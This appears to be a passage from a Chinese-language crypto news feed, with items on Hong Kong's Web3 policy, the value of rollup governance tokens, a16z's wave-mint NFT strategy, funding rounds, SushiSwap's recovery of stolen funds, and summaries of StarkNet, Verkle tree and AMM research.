回想起2000年初，全球也经历过科网兴起至泡沫爆破。在这个周期后，巿场参与者变得更为冷静，在投机炒作退潮后，剩下来有实力的参与者会更专注比拼技术创新、实际应用和价值创造，贡献于提升实体经济的质量，这是互联网科技产业走过的历程。 我相信，Web3也正在经历同样的过程。下一阶段，巿场参与者需要更深入发展区块链技术，让其透明、高效、安全、去中介化、去平台化、低成本的特点和优势找到更广泛的应用场景、解决更多现有商业模式的痛点乃至打破垄断等问题，让用户可更广泛分享数据的经济价值，并为实体经济带来跨越式的进步。 为了让Web3稳慎走好创新发展的道路，我们将采取「适当监管」和「推动发展」两者并重的策略。在适当监管方面，我们除了确保金融安全、防范系统风险外，也会做好投资者教育和保护，以及反洗黑钱等方面的工作。在「相同活动、相同风险、相同监管」的原则下，我们将在今年六月首先引入虚拟资产服务提供者发牌制度，亦正研究「稳定币」等的监管，确保虚拟资产行业可持续和负责任发展。 另外，我在新一份预算案中拨款5,000万元予数码港，以加速推动本港Web3生态圈的发展，包括举办国际大型研讨会，让业界和企业更好掌握前沿发展，推动跨界别业务合作，以及举办更多青年工作坊等。 创新和技术变革的路途从来都不是一帆风顺，即使锁定了发展方向，实际的路径还得靠一步一步踏实地走出来；坚持尝试才能找到新的方案、新的出路。我期待下星期数场的大型论坛，能为数字经济和Web3发展带来更多深入交流和思想碰撞，为未来的实践路径作更有前瞻性、更具体的探索，助力我们在新赛道、新领域中守正创新、稳慎前行。  ( 1 min )
    估值数十亿美元，仅有治理功能，Layer2 Rollup发币真的有必要吗？
    来源：The Defiant 编译：比推BitpushNews Mary Liu 继Optimism的 OP 代币后，Arbitrum推出 ARB 代币使这两个最大的以太坊扩容类代币总市值超过 20 亿美元。一些投资者提出了一个问题：这些代币有什么用？它们的用例是否支撑得起如此高的估值？ 目前，ARB 和 OP 代币的唯一功能是治理，这相当于对项目的发展方向进行投票的能力，但最近围绕 Arbitrum 基金会AIP-1提案也引发了混乱，因此投票的权利也没有完全得到保证。 治理通常被认为是许多加密代币的关键价值主张。DeFi最有价值的代币 UNI 价值 47 亿美元，尽管它唯一的独特价值是用于对Uniswap交易所的治理决策进行投票。 ARB 现在已经加入了价值数十亿美元的治理代币行列，以太坊的许多其他扩展解决方案也即将推出，投资者开始怀疑这些代币的估值是否合理。 将治理作为 rollups 代币的主要用例，风投公司Multicoin Capital创始合伙人Tushar Jain在接受采访时问道：“你到底在治理什么，这种治理是如何运作的，为什么它价值数十亿美元？” ARB 和 OP 是以太坊扩展平台基于Optimistic Rollups解决方案发行的数字资产，它们是在第二大区块链网络上实现更快、更便宜的交易的主要工具，以每个平台上存储的价值来衡量。 ARB 当前的市值为16亿美元，OP 的市值为7亿美元，而它们的完全稀释估值 (fully diluted valuation, FDV) 超过200亿美元。 Rollups 的代币既不保护扩展解决方案的网络，用户也不支付以它们计价的交易费用。 Jain 认为，这是与区块链网络相关的代币的两个最大用例，他的 Multicoin Capital 去年为其最新基金筹集了 4.3 亿美元。 Jain 说，有了Rollups，以太坊的原生代币 ETH 就可以扮演这两个角色。 投资者补充说，rollups 代币的第三个潜在用途是将它们抵押以换取成为验证者（validator）的资格，但这尚未启用。验证者是区块链系统中负责验证交易的参与者。 ARB 是在上个月的一次空投中分发的，并且主流扩展解决方案中，至少有两个项目可能进行两次空投–Starkware 和zkSync，它们的母公司都筹集了超过 25 亿美元的资金。Polygon和Consensus也在开发 rollups。 随着 Layer 2 之间竞争加剧的可能性，rollups 团队将面临更大的压力来证实其代币的价值。 虽然 Jain 不是全面反对 Layer 2 代币，但对它们目前的估值持怀疑态度，Tezos区块链联合创始人 Arthur Brietman 认为这些代币根本不应该存在。 当 News Block 主管 Frank Chapparo 在 Twitter 上提问：“为什么 Layer 2 需要代币”？Breitman 说，“它不需要。” Tezos 刚刚在 3 月 29 日发布了一个名为 Mumbai 的升级，它使开发人员能够在未经许可的情况下为区块链部署Rollups。 Arthur Brietman 对The Defiant表示：“Rollups 可以免费使用，没有特殊代币，没有限制性许可，不需要验证者批准，它是完全开放的。” 可以肯定的是，这并不是说没有对 Rollups 的链上需求。 数据提供商 L2BEAT 显示，去年第 2 层交易量明显超过以太坊。 rollups 不仅提供实用性，而且它们可能已经盈利。 风险投资公司 1confirmation 前合伙人 Kofi 开发的仪表板显示，自 7 月以来，扩展解决方案的利润不断增加。 至关重要的是，代币如何获得潜在利润仍不清楚。 Kofi 在接受采访时表示，仪表板不包括未在区块链上捕获的成本。 根据这些链下成本，总整体上来看rollups 不一定是赚钱的。 开发数据平台 CryptoStats 的工程师David Mihal告诉 The Defiant，收入部分来自两个来源，这两个来源目前都被称为“定序器”（Sequencer）的软件组件捕获。 定序器负责将用户的交易汇总并提交给以太坊的主网。 它的两个收入来源是用户的交易成本，称为“gas成本”，以及最大可提取价值 (MEV)，这是区块链空间的一个复杂子领域，验证器或在这种情况下为排序器，重新排序或重新混合等待处理的交易。 Mihal 说：“MEV 背后有很多资金”。 根据白皮书文档，目前，Arbitrum 和 Optimism 的定序器由开发该解决方案的公司控制。 简而言之，它们是中心化的。 去中心化定序器可能是Rollups代币捕获利润最有可能的方法。 Rollups仪表板的开发者 Kofi 表示，如果Rollups能够去中心化其定序器，ARB 和 OP 等代币可以获得额外的效用。 去中心化定序器将使用户能够通过“质押”（即暂时锁定Rollups的代币）参与其操作，这反过来会将来自交易费用和 MEV 的部分收入转嫁给代币持有者。 Arbitrum 和 Optimism 在他们的文档中都表示他们计划去中心化各自的定序器。 Jain 表示，这两个 rollup 在没有去中心化定序器的情况下启动的关键原因是它“在技术上非常困难”。他说：“一旦你试图去中心化它们，你就会遇到与扩展第 1 层时遇到的相同问题”。 Layer 2 项目发行所谓的"公平"治理代币的另一个原因可能是：加密行业在 2023 年进入了一个极具挑战性的监管环境，具有盈利目的的代币有可能引起监管机构的注意。 加密领域知名研究员 Polynya 表示，虽然 rollups 的代币可能不是必不可少的，但它们至少是有用的。 Polynya称：“他们不一定需要代币，但它使去中心化治理、所有权和升级变得更容易，所以我希望大多数 L2 都有一个” 研究人员补充说，基金会可以使用代币进行赠款和其他激励，并帮助 L2 去中心化其定序器。 展望未来，Jain 认为，rollups 将基本上从以太坊中分离出来，以太坊是目前负责保护扩展解决方案的区块链。投资者表示，这将来自项目自己的代币持有者，因为他们试图通过其数字资产获取更多价值。 他说：“我认为这场战斗将在一两年内到来，这是我的猜测，一旦竞争者变得足够多，他们就会开始想要其他东西，比如从以太坊生态剥离出来。”  ( 2 min )
    a16z解读最新NFT发行策略Wave Mint：工作原理、优势和挑战
    原文：《A new NFT launch strategy: The wave mint》by Scott Duke Kominers、1337 Skulls Sers 编译：Katie 辜 在 NFT 项目中，mint（最初分配代币的过程）在很大程度上决定了你的社区调性，以及社区和更广泛的市场如何看待项目的发展。这意味着需要一种机制来吸引你想要的人的参与，并以一种简单、安全、吸引人的方式来执行。 本文我们将回顾 1337 Skulls 最近推出的一种新的 mint 策略「wave mint」，其中不同 NFT 社区的成员被邀请在一系列 wave（wave 即参与 mint 的机会）中参与 mint，参与 mint 的用户从社区开始，逐渐向外扩展。wave mint 利用人们在链上的数据和声誉来选择与项目文化和目标非常匹配的持有者，同时将注意力和精力转移到项目上。它还避免了「free mint」的常见问题，如 Gas War 和机器人（bot）的干扰。 接下来将介绍 wave mint 机制的工作原理，它的优势和挑战，以及我们在实践中运行 wave mint 的一些经验。随着 NFT 社区尝试不同的 mint 和参与策略，我们希望这将成为艺术家、Builder 和其他项目创作者可以采用的 mint 方式。 理论上，免费发放 NFT 是吸引更多用户参与项目的好方法。但在实践中，「free mint」使得社区管理难度加大，因为「free mint」可能会被机器人网络（bot）和 / 或抱着抄底一把就跑的用户占领，他们只是计划「倒卖 NFT」，而不是长期坚守社区。 项目如何才能找到与项目价值观和目标一致的人呢？答案是寻找那些已经在他们的加密钱包中拥有相关 NFT 的人，并邀请他们加入。 在 wave mint 中，不同组的人被邀请按顺序 mint，每个开放的「mint wave」的时间从几分钟到几天不等。只要参与每一波「wave」的人数相对于代币供应总量较低，mint 就可以是免费的（或者说低于市场出清价格就可以免费），而不会导致 Gas War。 在不同的「wave」中被邀请进行 mint 的团体应招募那些可能认真参与新项目并支持其目标和愿景的持有者。也许最简单粗暴的方法就是利用具有「共同利益」的既定社区： 1337 Skulls 为类似的 cc 0 项目（如 Nouns 和 Blitmap）提供了「mint wave」。与此同时，一款链上游戏可能会为 DigiDaigaku 和 Pirate Nation 等项目的持有者提供「wave」让其参与 mint。 最关键的一点是每个钱包应该只允许 mint 一次，即使它有资格参与多次「wave mint」。许多 NFT 社区的参与度确实存在重叠，因此将每个钱包限制只能进行单个 mint 有助于确保持有者的不重叠且分布广。即使有「单个 mint」的限制，持有来自多个受邀社区的 NFT 的用户仍然比普通人胜算更大。如果他们错过了第一波资格，拥有来自多个受邀社区的 NFT 将为他们赢得更多的参与资格。 社区本身应该经过精心策划，首先发展一个强大的核心持有者社区，然后从里向外构建。这一策略需要建立核心社区和社会认同的紧密联系，然后利用「关系网」向外扩张，连接到距离远但志同道合的网络。 早期「wave」：「值得信赖的关系」——早期「wave」应专注于「值得信赖」的社区。在这些社区中，创作者拥有强大的个人关系以及已建立的「存在感」和声誉。早期与密切且可信的社区合作可以帮助建立对新项目的信任。尤其是因为在 wave mint 中，人们通常从钱包中 mint 其他 NFT，甚至可能是高价值的 NFT。通过可靠的连接建立早期的 mint，有助于建立人们对 mint 过程感到信任的「社会证明」。 下一波「wave」：「加强关系」——一旦建立了值得信赖的核心社区，下一步就有可能瞄准「关系加强」的社区，即那些与通过最早的几波招募进来的社区在持有人数量上有显著重叠的社区。社区用户通过「熟人介绍」得以增长，也有助于吸引那些特别想要成为项目一部分的人。 后期「wave」：一旦一个项目建立了一个核心社区，并吸引了其他相关社区的关注，就有可能向联系较弱的更大社区打开许多新窗口，吸引那些不一定有直接联系，但在早期 wave 中对该项目有兴趣的人。 测试 Wave Mint 机制 我们在推出 1337 Skulls 的过程下测试了 wave mint 这种机制， 1337 Skulls 是一个 NFT 项目，目的是在 NFT 社区之间建立桥梁，这些社区在「cc0 无版权许可」下开放其知识产权进行扩展和重新混合。wave mint 是吸引那些本身对 cc 0、链上艺术和更广泛的互联网混合文化充满热情的持有者的一种方式。 我们从自己亲近的社区开始入手，然后为 cc0 NFT 生态系统中许多其他项目的持有者开放「wave」。随着我们在 mint 过程的深入进展，我们逐渐引入了针对较大群体但时间更短的参与「wave」。最后，我们的目标是为各种 NFT 项目的持有者提供特别短暂的「wave」，这些项目与早期「wave」中选择的项目有共性（例如，相似的美学、发布日期和社区管理风格）。通过这种方式，我们筛选了那些特别有兴趣加入我们但先前与社区「关系不紧密」的成员。 评估 Wave Mint 策略 根据设计，wave mint 方法选择那些预先认同项目目标和价值观的人。此外，在同一时期内，每一波「wave」都会从一个已建立的社区中引入一群持有者，这立即产生了网络效应，有助于「破冰」。 从进入市场的角度来看，这为复合受众增长提供了一个重要的机会——「通过原持有者吸引下一个持有者」。每次 mint wave 的信息在社区内部和社区之间通过口口相传迅速传播。从社区建设的角度来看，wave mint 方法有助于确保大多数代币持有者从一开始就在社区中至少有几个强大的联系。 我们还发现，至少在我们的案例中，wave mint 过程本身也吸引了人们对项目的关注。在数小时和数天内的 mint，使 1337 Skulls 社区能够随着 NFT 的发行得到曝光，并且更容易实时有新的社区成员的加入。 从机制设计的角度来看，wave mint 机制意味着人们的钱包有效地充当了一种「人格证明」。许多人将他们的大部分 NFT（尤其是高价值的 NFT）保存在一个或最多几个钱包中（这是不推荐的安全做法），将每个钱包限制只能 mint 一个 NFT 有助于减少重复计数。例如，在 11337 Skulls 项目的 mint 后期，该项目有超过 50% 的独立持有者（以不同的钱包来衡量），与许多白名单上的 mint 相比，供应的集中度要低得多。 此外，自发地短时间内开放 mint 窗口会使整个 mint 过程难度加大。这样做还可以更容易地实时监控 mint 并发现异常情况，例如，如果有人将快照资产分发到多个钱包以获得多个「free mint」。wave mint 机制可以让团队在这种情况下很容易地暂停 mint。由于每一次单独的「wave」相对于总供应量来说都很小，因此有可能使供应与需求同步，从而避免 Gas War。 与更常见的运行多个白名单（allow-list）的策略相比，wave mint 策略有几个优点。在这种策略中，特定社区的成员有一个预先登记的机会，并可能进入 mint 名单。 虽然白名单机制让人们有足够的时间来发现项目和登记，但它们往往无法集中参与度。包括我们自己在内的许多人都登记了白名单，但当他们参与的时候却忘记了参与相关的 mint。wave mint 策略收紧了反馈循环——从最初通过现有的 NFT 社区了解项目，到采取行动 mint，再到随后加入并参与社区。 有了前期的白名单，也无法确定有多少人会参与 mint。这通常会导致团队过度分配供应，从而导致大规模的 Gas War。相比之下，wave mint 允许该项目实时扩大或缩小可用头寸的数量，调整供应以满足需求。你可以选择让一个「wave」持续更长的时间，或者打开多个「wave」，并提供针对特定社区的特定数量的 mint。 同时，多个白名单机制机制使用户更难受到 mint 限制，因为它们为用户提供了大量机会来重新定位资产，以获得多个允白名单名额。wave mint 机制直接解决了这种漏洞，尽管这样做在很大程度上依赖于提前进行「快照」（snapshot）。 最后，wave mint 还有一个优势。通过申请或抽签管理的白名单通常不一定能成功中签。相比之下，wave mint 更有可能带来一个积极的开放机会框架。即使人们确实错过了他们有资格参加的 wave，也还有其他的参与机会。 从操作的角度来看，wave mint 执行起来很复杂。它运行的时间很长，并且需要在整个过程中在前端和后端团队之间进行仔细的同步。前端和社交媒体团队将不断在 Twitter 上发帖，吸引用户参与到 Discord 中，并为项目带来乐趣和关注度（以及对下一个可能开放的社区 wave 的猜测），而后端团队将切换钱包名单，打开和关闭 mint wave，并确保一切顺利运行。 与此同时，在用户方面，还存在一些关于安全性的关键问题。从本质上讲，这种机制诱使人们用他们用来持有其他数字资产的钱包来 mint，通常是那些可能特别有价值的资产，比如来自主要社区的代币。而不良行为者可能会试图创建虚假的 wave mint 来访问这些保管用户高价值 NFT 的钱包。 对于 wave mint，人们更重要的是仔细检查每一个 mint 邀请，团队有责任提供明确的信息和文件。随着 wave 的迅速打开和关闭，智能合约和其他关键信息必须提前进行检查，并明确解释和记录。（尽管团队在 Discord、社交媒体和其他通信渠道周围实施最大限度的安全措施非常重要，但 wave mint 尤其需要避免恶意行为者在中途盗走合法的 wave mint。） 从长远来看，最好能有专门针对 wave mint 优化的委托解决方案，允许人们委托访问权限，这样他们就不必直接从资金库钱包中 mint。最后，在激励机制方面，如果「wave mint」变得普及，人们可能会开始将他们的数字资产存储在许多不同的钱包中，希望最大限度地提高参与 mint 的机会。这将要求更有创造性的标准来决定谁应该被允许参与每一波 wave。 一个 NFT 项目形成其初始社区的方式对于确定其前进的道路至关重要。将代币交到正确的人手中对于建立社区原生文化至关重要。wave mint 是解决这个问题的有力方法。邀请不同社区的成员分批加入，就有可能以一种长期健康和稳定社区的方式建立一个持有者网络，从可信赖的社区核心成员逐渐向外扩大社区规模。  ( 3 min )
    Web3 NFT游戏平台Gameta完成500万美元种子轮融资，Binance Labs等参投
    PANews 4月10日消息，据官方博客，Web3 NFT游戏平台Gameta宣布完成500万美元的种子轮投资，Binance Labs、Huobi Ventures、Arcane Capital、Ceras Ventures、Start VC、Gate.io Labs、W3Coins、Redline Dao、DefinanceX、Rana Capital和Infinity Labs参投。Gameta将使用本次融资加快其游戏生态系统、代币和NFT体系建设，并扩大其用户群。 据悉，Gameta是一个多层NFT游戏生态系统，为玩家提供Web3游戏和娱乐体验。在其最新NFT游戏Hippo Dash中，Gameta建立了让用户可以进行游戏、社交、经验共享以及Web3资产互动的Hippo Club NFT系统。根据官方介绍，该项目目前在BNB Chain上活跃用户中排名第一，也是Binance Labs的Most Valuable Builder孵化营获奖者。  ( 1 min )
    Tether CTO：公司一季度利润已超7亿美元
    PANews 4月10日消息，Tether首席技术官Paolo Ardoino今日在推特上表示，公司今年第一季度的利润已超过7亿美元。 此前3月24日消息，Paolo Ardoino曾预计该季度超​​额储备将增加7亿美元，这将使Tether的超额储备达到16.6亿美元，这将是Tether超额储备首次突破10亿美元大关。  ( 1 min )
    SushiSwap主厨：已确认从CoffeeBabe追回超300 ETH的Sifu被盗资金
    PANews 4月10日消息，SushiSwap主厨Jared Grey在社交媒体再次呼吁尽快撤销RouteProcessor 2的合约错误批准，还透露恢复工作正在进行中，目前已经在白帽安全流程中保护了大部分受影响的资金且用户可以与SushiSwap安全团队联系。SushiSwap已确认从CoffeeBabe追回了300多枚ETH的Sifu被盗资金，正在正就700 ETH的问题与Lido团队联系。 此外，SushiSwap首席技术官Matthew Lilley在社交媒体澄清SushiSwap协议和UI没有风险，所有RouterProcessor2合约问题都已从前端移除，所有LPing/当前交换活动都可以安全进行，SushiSwap将在资金可用时继续监控/救援资金，白帽救援地址为：0x74Ebb8e8d0B0cc65F06040EB0f77B5DA0e33fFeE。  ( 1 min )
    三月加密投融资一览：资金总体趋势及典型代表项目
    撰写：Ignas 编译：深潮 TechFlow 加密货币领域一直以来都备受关注，而最近几年 DeFi 领域更是呈现出爆炸式增长。对于那些试图抓住市场趋势和风险投资机会的人来说，了解风投机构的见解和跟踪资金流向是至关重要的。本文将介绍一些最新的加密货币投资动态，并重点关注一些处于种子轮阶段的项目，它们的发展前景备受关注。 以下是上个月资金流动的情况： 首先，整个加密生态系统筹集的总金额出现了巨大增长。 在三月份，共进行了 129 笔加密货币交易，总价值为 94.7 亿美元——这是自很久之前以来的最高水平！ 首先，3 月加密生态系统融资总额出现了巨大的飙升，共 129 笔，总金额 94.7 亿美元。其中仅四轮融资就筹集了 82 亿美元（占总额的 87%）： 其余 125 笔融资总额 12.7 亿美元。 DeFi 方面，资金增长仍然低迷。仅有 17 个 DeFi 项目成功融资，总额 9400 万美元。 就 DeFi 而言，筹资增长仍然缓慢。仅有 17 个 DeFi 项目上个月成功筹集了 9400 万美元。 老实说，去年三月对于 DeFi 来说也不太好，当时有 45 个项目筹集了 3 亿美元。 这些项目中大多数尚未拥有代币。但是如果市场情绪继续改善，我预计它们很快会推出代币。 以下是 3 月份最受关注的前三名项目： 贷款人以折扣价从供应商处购买到期发票，然后收取全部发票金额，从而产生利润或收益。 这一资产类别受到银行和信贷基金的青睐，目前 TVL 为 1100 万美元。 团队从 Alpha Wave、Matrix、Polygon 等处筹集了 380 万美元。 2.EconiaLabs 是 Aptos 上的链上订单簿。 Econia 为其他应用程序提供了集成功能，范围从现货交易到杠杆永续期货等各种应用。据我所知，它类似于 Serum，但是部署在 Aptos 上。 它看起来很像 Fei 协议，该协议使用管理的资产来稳定其稳定币 $FEI。 Gyroscope 关注系统的弹性——即使系统的某些部分出现故障，也能够保持功能。储备由专门针对风险分层设计的保险库组成。 团队已经从 Placeholder VC、Galaxy Ventures、Robot Ventures、Balancer CEO 等公司筹集了450万美元。  ( 2 min )

  • Open

    六个角度浅析亚洲加密市场概况
    Chainfeeds 导读： Foresight News、CoinNess 和 BlockTempo 联合发布「亚洲加密市场报告」，从监管动向、加密市场规模、人才和开发者状况、投资者规模以及基础设施采用情况等方面分析了中国大陆、韩国和中国台湾地区的加密市场格局。本文为 Foresight News 撰写的精华提要。 文章来源： https://foresightnews.pro/article/detail/30388 文章作者： Foresight News 观点： Foresight News：市场规模和 Crypto 渗透率。调查显示中国大陆 15 岁以上的人群中，只有 2.6% 的人拥有加密货币（86.0% 的人拥有期货、期权等加密衍生品交易经验）。韩国加密货币市场交易量主要集中在 Upbit（市场份额为 82.24%）、Bithumb 和 Coinone 3 个交易所，山寨币占据了韩国加密总交易量的 92.9%。台湾地区加密交易量年增长率达到 31.5%，流入 CEX 的加密货币中近一半（约 300 亿美元）为 DeFi 代币。  内容来源 Foresight News：基础设施。中国数字人民币自 2021 年 4 月正式公测以来，并未获得广泛采用。韩国加密基础设施建设非常成熟，主要商业银行向加密交易所提供服务；官方正在向加密企业引入各种许可制度。但其在加密期货 ETF 等方面尚不成熟，暂未允许托管和合规的机构工具。台湾地区大部分用户都在国际交易所（币安、倒闭前的 FTX 等）进行交易，本地交易所主要被当作法币出入金通道。 内容来源 Foresight News：开发人员和运营商。阻碍中国开发人员进入 Web3 行业的主要原因包括对加密货币缺乏基本的了解、缺乏系统的方法来接触 Web3 行业、担心在中国的 Web3 行业工作不稳定或不合法等等。韩国加密项目主要由两家大型科技公司（Kakao、Naver）和大型 Web2 游戏公司（WEMIX 等）推动。台北以太坊 Meetup（TEM）是台湾地区最大的开发者社区，拥有超过 6000 名成员。 内容来源  ( 17 min )
    NFT 基础设施协议 LABEL 获得 DWF Labs 100 万美元投资
    NFT 基础设施协议 LABEL 获得 DWF Labs 100 万美元投资 NFT 基础设施协议 LABEL 宣布获得 Web3 风险投资公司 DWF Labs 100 万美元投资。LABEL 是一个音乐 NFT 协议，已经推出了一个听歌赚币（Listen-And-Earn）平台 TRACKS。 LABEL 表示，团队将在 DWF Labs 的支持下，继续为所有艺术家和粉丝打造一个更加去中心化和易于访问的音乐平台。 内容来源  ( 6 min )
    一文简述 StarkNet 系统架构
    Chainfeeds 导读： 以太坊研究员 ChiHaoLu 撰文介绍了 StarkNet 的系统架构，并逐一对 Sequencer、Prover & Verifier 和 L1 Core Contract 的工作原理与流程进行了概述。此外，围绕社区讨论的中心化问题以及性能问题，ChiHaoLu 也给出了自己的见解。 文章来源： https://medium.com/taipei-ethereum-meetup/starknet-%E4%BB%8B%E7%B4%B9-%E9%87%8D%E9%BB%9E%E9%83%A8%E4%BB%B6-overview-4f9830527e71 文章作者： chihaolu.eth 观点： chihaolu.eth：StarkNet 的系统架构有三个重点，Sequencer、Prover & Verifier 和 L1 Core Contract。Sequencer 负责「验证交易」、「决定交易顺序」、「构建区块」。目前 StarkNet 中只有一个 Prover，为 StarkNet 以及运行在 StarkEx rollup 上的所有其他应用程序生成证明。StarkNet L1 Core Contract 储存着 L2 上状态们的证明，大家常常说 Rollups 的安全性是由 Ethereum 这个 L1 保证的就是来自于此。 内容来源 chihaolu.eth：所谓的去中心化在 StarkNet 社群有两个主要讨论层面：1. 不需许可就能运作的 Sequencers 和 Provers 可以确保这个网络是抗审查的（censorship-resistant）；2. 因为使用了 STARK-proofs，任何人都可以用很低的硬体成本来验证整条链的正确性，同时也不需要信任任何第三方。 内容来源 chihaolu.eth：StarkNet 认为提高 TPS 最好的方向是在同样的出块时间下，提高能够容纳的交易量，也就是区块限制。高区块限制对 L2 有用，而对 L1 没用，原因是如果区块大小太大，我们对全节点的要求就越高。如果这个要求高到大部分用户都没办法负担，无法自行验证，那就使得绝大部份人都需要以一个不信任的方式参与网络。 内容来源  ( 5 min )
    交易平台激励模式思考，流动性和交易行为哪个更值得激励？
    Chainfeeds 导读： Mint Ventures 围绕交易平台应该激励流动性还是交易行为以及如何激励等问题进行了讨论。Mint Ventures 研究合伙人 Alex Xu 认为流动性提供者相对于交易者的行为习惯更为固化，因此平台应该从激励交易行为入手。以此角度，Alex Xu 提供了激励交易行为的建议。 文章来源： https://research.mintventures.fund/2023/04/10/zh-liquidity-vs-trading-behavior-an-in-depth-analysis-of-incentive-models-on-trading-platfoms/ 文章作者： Alex Xu 观点： Alex Xu：一个项目拥有了代币这一手段后，相对于无代币项目，其用于增长的激励资源以及项目经济系统的调节能力都大大提高了。交易平台类项目进行代币激励的核心目的一般只有两个，即：1. 新项目实现冷启动，通过代币激励为产品吸引最初始的双边用户。2. 做大双边市场，并期待通过代币补贴加速跨边网络效应的扩大，形成对于竞品的壁垒。 内容来源 Alex Xu：我们认为流动性提供者的行为习惯更为固化，表现在：相对于交易者，LP 用户更容易被平台绑定；LP 的产品迁移意愿和顾虑更多；有聚合器的存在，交易行为更为理性，以最低交易损耗为唯一原则；对交易行为进行的激励，由于交易摩擦的存在而耗散了；对交易的激励会「虚增交易需求」。 内容来源 Alex Xu：如何更好地进行交易激励？1. 不直接激励交易行为或交易量，而激励那些交易量更大的流动性池或交易对；2. 控制激励的价值，避免交易量的「虚增」；3. 把交易补贴从「代币分配机制」变为「运营活动」。 内容来源  ( 12 min )
    【英文长推】Fuse Network：构建基于账户抽象的 Web3 支付基础设施
    Chainfeeds 导读： Fuse Network 通过费用抽象模型将交易费用从用户转嫁给运营商，从而减少了支付摩擦，提高了用户体验。加密 KOL Viktor DeFi 解析了 Fuse Network 的产品架构，并介绍了基于其构建的新 DeFi 平台 Voltage。 文章来源： https://twitter.com/ViktorDefi/status/1644735921332576257 文章作者： Viktor DeFi 观点： Viktor DeFi：Fuse Network 是一个与 EVM 兼容的第 1 层区块链，为 Web3 应用提供了一个可扩展的、快速的、经济的基础设施。Fuse 于 2019 年推出，Fuse 网络区块链已经处理了超过 1.25 亿笔交易，有超过 100 万个钱包地址。Fuse Network 的交易费用低于 0.01 美元 / 笔转账，交易确认时间为 5 秒。【原文为英文】 内容来源 Viktor DeFi：Fuse Network 使用一个费用抽象模型，用户使用私钥签署交易，由金融运营商中继并支付费用。Fuse 提供 Fuse Wallet SDK 和 Fuse Studio 两个基础设施。其中，Fuse Walle SDK 整合了零 gas 交易、钱包恢复、帐户抽象、抵押等功能。Fuse Studio 是一个零代码平台，允许用户为其社区创建代币。【原文为英文】 内容来源 Viktor DeFi：Voltage 是 Fuse 网络上的 DeFi 协议，允许用户在一个 UI 友好的平台上进行桥接、质押、交易、流动性挖矿等。Voltage 使用 Fuse Wallet SDK，具有用户友好、非托管、提供零 gas 交易、云备份恢复、法币入金等功能。Voltage 获得了 Shark Capital、TRGC、Collider Ventures 等投资者的 340 万美元融资。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Liquidity Book AMM 模型的优势解析及展望
    Chainfeeds 导读： Liquidity Book（LB）是 Trader Joe 使用的 AMM 模型。与 Uniswap AMM 模型相比，LB 通过建立集中流动性提高了资本的可组合性和效率。加密研究机构 Spartan Labs 解析了 LB 模型的优势，并总结了即将发布的 LB V2.1 版本特点。 文章来源： https://twitter.com/TheSpartanLabs/status/1644312830689292288 文章作者： Spartan Labs 观点： Spartan Labs：传统的 AMM 使用 Uniswap 的 x * y = k 模型，即每个池子里的流动性分布在从 0 到无限的每个可能的价格上。这很容易实现，但它的资本效率很低。Uniswap V3 希望通过集中的流动性来解决这个问题，用户为特定的价格范围提供流动性，提高资本效率以及用户获得的费用。但一旦超过这个价格范围，用户就无法获得任何费用。【原文为英文】 内容来源 Spartan Labs：Trader Joe 的 Liquidity Book（LB）建立在集中流动性概念的基础上。LB 引入了「价格容器」（price bin）的概念，能够纵向聚集流动性并提高流动性的可组合性。此外，LB 还允许可定制的流动性分布，为用户提供了更复杂和灵活的策略。LB 采用可变费用，这些费用被支付给流动性提供商，以抵消无常损失。【原文为英文】 内容来源 Spartan Labs：LB 即将升级到 V2.1，增加了多个新功能，包括：LB 上的原生限价订单、LB 池的无需权限部署、自动管理头寸的资金池等。【原文为英文】 内容来源  ( 2 min )
    【英文】以太坊 Verkle 树研究进展：Verkle 测试网、潜在挑战及与 zkEVM 的关系
    Chainfeeds 导读： Verkle 树可以提供比 Merkle 树更有效的证明大小，通过减少证明大小使无状态客户端可行。以太坊的核心开发者 Guillaume Ballet 在上周的开发者核心会议中讨论了 Verkle 树方案的进展。本文由 EtherWorld 整理。 文章来源： https://etherworld.co/2023/04/07/verkle-trees-research-progress/ 文章作者： Yash Kamal Chaturvedi 观点： Yash Kamal Chaturvedi：Verkle 测试网：目前开发人员正在 Beverly Hills 和 Kaustinen 两个测试网上测试 Verkle 树对以太坊网络的潜在影响。Beverly Hills 测试网是一个最小的实现，只关注 EL 客户端和 Verkle 树规范。另一方面，Kaustinen 测试网正在对以太坊共识层 (CL) 和 Verkle 树进行更改。【原文为英文】 内容来源 Yash Kamal Chaturvedi：潜在挑战：从 Merkle 树到 Verkle 树的转换过程是一个瓶颈，最快的实现（Erigon）需要大约 18 个小时，而其他实现则需要更长的时间。需要优化此转换过程，以使所有客户更容易采用 Verkle 树。【原文为英文】 内容来源 Yash Kamal Chaturvedi：Verkle 树与 zkEVM：开发者 Dankrad Feist 认为 Verkle 树理论上将被 zkEVM 淘汰，但是考虑到 zkEVM 有较高的延迟和证明者，它们在以太坊主网上的实施还需要数年时间。【原文为英文】 内容来源  ( 5 min )
    a16z：一文读懂 NFT 新发行策略 Wave Mint
    Chainfeeds 导读： a16z 研究员 Scott Duke Kominers 和 1337 Skulls Sers 撰文介绍最新的 NFT 项目 mint 策略「Wave Mint」，即利用链上数据和声誉挑选与项目文化和目标相符的持有者参与 mint，避免了常见问题如 Gas War 和机器人的干扰。分析了 wave mint 的工作原理、优势和挑战，并分享实践中的经验，以帮助 NFT 社区尝试不同的 mint 和参与策略。本文中文版由 Odaily 编译。 文章来源： https://www.odaily.news/post/5186296 文章作者： Scott Kominers 观点： Scott Kominers：Wave Mint 机制的运行原理：通过邀请已经持有相关 NFT 的用户来参与铸造，从而吸引志同道合的人加入项目。不同的用户组依次参与每个开放的 「mint wave」，在参与人数相对代币供应总量较低的情况下，铸造可以是免费的。钱包只允许铸造一次，需要建立核心持有者社区并从里向外构建，分为早期、中期和后期，分别聚焦于「值得信赖的关系」、「加强关系」和「开放更多窗口」。这样做有助于建立人们对铸造过程感到信任的「社会证明」。 内容来源 Scott Kominers：Wave Mint 机制从进入市场、社区建设和机制设计角度来看都非常有益。它通过每波引入新的持有者，从而吸引下一个持有者，增加了复合受众的增长机会，并产生了网络效应。同时，该机制有效地减少了重复计数，使供应集中度有所降低，同时还能更容易地监控异常情况，并避免 Gas War。总之，Wave Mint 机制帮助项目快速曝光，并吸引更多社区成员的加入。 内容来源 Scott Kominers：Wave Mint 策略相比普通白名单有几大优点：它集中了参与度，可以实时调整供应，直接解决多个白名单机制的漏洞，可以提供更多的参与机会。然而，使用 Wave Mint 也存在操作复杂和安全性难保的挑战。团队有责任提供明确的信息和文件，并且尤其需要避免恶意行为者的活动。从长远来看，需要针对 wave mint 